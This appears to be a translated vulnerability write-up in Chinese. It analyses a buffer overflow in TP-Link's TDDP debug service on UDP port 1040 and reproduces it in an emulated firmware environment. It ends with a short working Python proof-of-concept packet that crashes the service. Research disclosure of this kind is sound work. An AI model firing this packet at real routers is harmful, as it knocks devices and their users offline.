Jump to content

TDDP 服務程序在UDP 端口1040 上監聽時,處理數據時未能正確檢查長度,這導致了內存溢出,破壞了內存結構,最終引發了服務中斷。

本文深入分析了一個在2020 年向TP-Link 報告的安全漏洞。遺憾的是,至今沒有CVE 編號分配給這個漏洞,因此相關的詳細信息並未公之於眾。通常,閱讀技術分析報告能夠帶來豐富的見解和學習機會。我堅信,公開分享研究方法和成果對整個行業以及廣大的學習者、學生和專業人士都有著積極的意義。

在本文中,我將使用Shambles這個工具來識別、逆向分析、模擬並驗證這個導致服務中斷的緩衝區溢出問題。如果您對Shambles 感興趣,可以通過加入Discord 服務器並查閱FAQ 頻道來了解更多信息。

首先,我們來介紹一下TDDP 協議,這是一種在專利CN102096654A中詳細描述的二進制協議。您需要了解的所有協議細節都在專利描述中。不過,我會在這里為您做一個簡要的總結。

1.png

TDDP 是TP-LINK 設備調試協議的縮寫,它主要用於通過單個UDP 數據包進行設備調試。這種協議對於逆向分析來說非常有趣,因為它是一個需要解析的二進制協議。 TDDP 數據包的作用是傳輸包含特定消息類型的請求或命令。下圖展示了一個TDDP 數據包的結構。

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Ver | Type | Code | ReplyInfo |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| PktLength |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| PktID | SubType | Reserve |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[0-3] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[4-7] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[8-11] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[12-15] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

當您需要發送命令時,您需要調整Type和SubType這兩個頭部字段的值。據我所知,所有返回的數據都會使用DES 加密,並且通常需要使用設備的用戶名和密碼來解密。發送給設備的配置數據也需要加密。 DES 密鑰是通過結合用戶名和密碼的MD5 哈希值來生成的,具體做法是取哈希值的前8個字節。

下面這張圖展示了整個緩衝區溢出的鏈條。我們將一步步分析,但您可能需要不時地回到上圖來對照。

2.png

讓我們來詳細分析一下。下面展示的函數我們稱之為tddpEntry(sub_4045f80x004045F8),這是整個鏈條的起點。這個函數負責使用TDDP 協議處理通信,通過不斷檢查傳入的數據。它從recvfrom函數接收UDP 數據,該函數用於從dword_4178d0指定的套接字接收數據。

3.png

接收到的數據被存儲在緩衝區(varf4)中。在將數據傳遞給TddpPktInterfaceFunction(sub_4045f8+3300x00404B40)進行處理時,並沒有對接收到的數據大小進行驗證。如下圖所示,GetTddpMaxPktBuff(sub_4042d00x004042D0)函數返回的值是0x14000。

4.png

接下來是TddpPktInterfaceFunction函數的實現。

5.png

上面的條件判斷塊會處理數據包的第一個字節p0等於2 的情況,即代碼中的*(byte *)p0==2。該函數通過設置數據包中的特定值和一個新的存儲空間指針來傳遞數據。然後,它調用tddp_versionTwoOpt(sub_404b400x00405990)函數來進一步處理數據包。在處理數據包時,off_42ba8c的大小和分配的最大長度為0x14000。 tddp_versionTwoOpt函數將數據傳遞給tddp_deCode(sub_404fa40x00405014)進行解碼驗證。

6.png

tddp_deCode函數會設置數據、DES 加密長度和指針,然後嘗試解碼傳入的TDDP 數據包(p0和p1)並驗證解密數據的完整性。如果解碼成功,它會更新解碼後的數據並返回0。

簡而言之,tddp_deCode函數的作用是解碼TDDP 數據包。在tddp_deCode函數中,數據和DES 加密長度會被存儲在byte[4-8]中,並且在調用des_min_do函數進行解密之前,會設置一個指向新存儲數據的指針。值得注意的是,des_min_do是/lib/libutility_lib.so庫提供的一個函數。

7.png

同樣地,大小和長度等參數也會被傳遞給des_min_do函數用於解密。

8.png

在從輸入數據中提取必要的字段後,該函數使用提取的字節byte[4-8]來計算DES 加密長度,並將指針設置指向新存儲的數據,這個指針由變量arg4表示。

//Further up in the function

arg0=p0;

arg4=p1; //Pointer of the newly stored data

//Line 99

var34=des_min_do(arg0 + 28, var38, arg4 + 28, v18);

這裡,arg4作為參數傳遞給des_min_do函數,這個函數我們已經多次提到,它負責對數據進行解密。解密後的數據會從偏移量arg4 + 28的位置開始存儲。

//Line 96

v18=GetTddpMaxPktBuff() - 28;

結果值(v18)被用作後續操作的界限。上面的代碼片段是在調用函數sub_4042d0()時的,它返回解密數據的大小。然後,從這個大小中減去28,可能是為了計算某些頭部的長度。這個值作為第四個參數傳遞。

這段內容有點長,也可能有些混亂,所以讓我們來回顧一下。在des_min_do函數中,arg4和v18是傳遞給函數的參數。變量arg4包含了p1的值,作為第三個參數傳遞給des_min_do。 arg4用於提供DES 數據的長度給des_min_do函數。 v18也作為第四個參數傳遞給des_min_do,並且被賦值為GetTddpMaxPktBuff() - 28的結果。

現在讓我們來看看des_min_do函數的實現。

9.png

如上圖所示,當傳入的DES 加密長度大於最大尺寸限制0x14000時,函數會直接返回0,而不進行解密。因此,如果v6是0,v5小於p1,那麼DES 加密密鑰將不會使用DES_set_key_unchecked設置,也不會執行解密。所以在這個時候,des_min_do函數將返回0。

在tddp_deCode函數中執行了一些其他操作後,我們來到了MD5 摘要驗證環節。

10.png

在tddp_deCode函數處理完畢後,會提取存儲在byte[13-28]中的MD5 摘要,並與當前數據集的整個MD5 摘要進行比較。在比較MD5 摘要時,原始的MD5 摘要byte[13-28]位置會被設置為0。如下圖所示的內存寫操作。

*(byte *)(arg4 + var38 + 28)=0;

由於arg4是包含MD5 摘要的數據結構,var38保存了緩衝區中MD5 摘要開始的偏移量。通過將這個位置的字節設置為0,它有效地修改了存儲的MD5 摘要,該摘要存儲在緩衝區的byte[13-28]中。這種修改使得後續的比較能夠確定重新計算的MD5 摘要是否與原始存儲的MD5 摘要匹配。

所以!存儲在byte[13-28]中的MD5 摘要被提取出來。然後,這個提取的MD5 摘要會與MD5 摘要數據進行比較,其中原始MD5 摘要byte[13-28]位置被設置為0。如果驗證過程正確(即,提取的MD5 摘要與當前數據的MD5 摘要相匹配),tddp_deCode函數將繼續處理,將新存儲內容的指針指向byte[4-8] + 28的位置,並設置字節位置為0。由於byte[4-8]是可以控制的,我們可以引發溢出(如果值大於0x14000),將其寫為0會導致內存損壞,因為它破壞了內存結構並引發了服務中斷(DoS)狀態。

讓我們用Shambles 來做一個概念驗證(POC)吧!這個過程實際上只需要5分鐘。只需創建一個虛擬機並將其映射到包含所有固件二進製文件的第二個文件系統。

11.png

然後我們只需啟動虛擬機,如下所示,無需對固件做任何修改,它就能完美運行。

12.png

通過內置的SSH 控制台,我們將手動啟動httpd程序。

13.png

我們可以通過設置反向代理並訪問頁面來驗證它是否正常工作。

14.png

15.png

我們還將啟動tddpd服務。

16.png

在我們嘗試對系統進行任何操作之前,始終要驗證所需的服務是否正在運行。我們在下圖確認tddpd正在端口1040上運行。

17.png

我將通過本地端口10461訪問虛擬機的端口1040。

我們需要在byte[4-8]中將v0設置為0x01000000。 UDP 數據包仍然必須是有效的並被識別。所以根據專利信息,我們將設置以下值:

byte[0]: Ver

byte[4-8]: PktLength

byte[13-28]: MD5 digest

byte[29-N]: DES

---------------------------------

TDDP version='02'

TDDP user config='01 00 00 00'

TDDP code request type='01'

TDDP reply info status (OK)='00'

TDDP padding='%0.16X' % 00

18.png

最終的概念驗證代碼如下,

import socket

import hashlib

bytes12=bytes([0x02,0x01,0x00,0x00,

0x01,0x00,0x00,0x00,

0x12,0x34,0x56,0x78])

magic=(0x00).to_bytes(length=16, byteorder='big')

tmp_data_bytes=bytes12 + magic

md5_bytes=hashlib.md5(tmp_data_bytes).digest()

data_bytes=bytes12 + md5_bytes

s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.sendto(data_bytes, ('127.0.0.1', 10461))

data=s.recv(1024)

print('recv:' + data.decode())

s.close()

一旦執行,我們可以查看Shambles 虛擬機的日誌,發現tddpd程序已經崩潰。

19.png

通過調試,我們可以確認崩潰的原因是傳入的v0=0x01000000超出了範圍,導致寫入值為0,從而引發了崩潰。

20.png

原文鏈接:Lian Security

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...